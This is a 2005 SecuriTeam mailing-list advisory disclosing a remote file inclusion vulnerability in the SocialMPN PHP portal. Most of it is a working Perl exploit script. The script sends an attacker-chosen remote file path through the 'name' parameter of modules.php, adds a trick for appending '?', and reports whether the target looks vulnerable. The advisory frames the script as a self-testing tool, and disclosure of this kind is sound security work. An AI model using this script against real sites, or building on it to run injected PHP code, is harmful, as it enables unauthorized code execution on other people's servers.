[EXPL] SocialMPN Arbitrary File Injection Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05
- Previous message: SecuriTeam: "[NT] Server Termination in Scrapland"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Mar 2005 16:48:26 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
SocialMPN Arbitrary File Injection Exploit
------------------------------------------------------------------------
SUMMARY
<http://www.socialmpn.com/> SocialMPN is "very similar to myPHPNuke,
however the biggest change to the system is the multi-site functionality
we have incorporated into the package".
A vulnerability in the way SocialMPN handles external modules allows a
remote attacker to include his own arbitrary PHP code that would then be
executed by the SocialMPN environment. The following exploit code can be
used to test your system for the mentioned vulnerability.
DETAILS
Exploit:
#!/usr/bin/perl -w
# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing
only]
# Bug find by zer0-c00l ,
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html
print " * Remote Testing File Inclusion for SocialMPN by y3dips *\n";
require LWP::UserAgent;
if(@ARGV == 2)
{
$target= $ARGV[0];
$xploit= $ARGV[1];
my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
$url = "http://$target/modules.php?name=$xploit&file=article&sid=2";
# just for trick , use "?" in the last char of your file inclusion path
my $injek = $ua->get($url);
print " -------------------------------\n";
if ($injek->is_success)
{
$injekcek = $injek->as_string;
if ($injekcek =~ /(HTTP\/1\.0 200 OK)/)
{ print("\n This Site Maybe Vulnerable \n"); }
else
{die $injek->status_line;}
print " -------------------------------\n";
}
}
else{
print "Use: perl $0 [target] [xplo.txt] \n";
}
#EOF y3dips(c)2005
#shout : zer0-c00l , echo staff @ ehco.or.id
ADDITIONAL INFORMATION
The information has been provided by <mailto:y3dips@echo.or.id> y3dips.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Server Termination in Scrapland"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|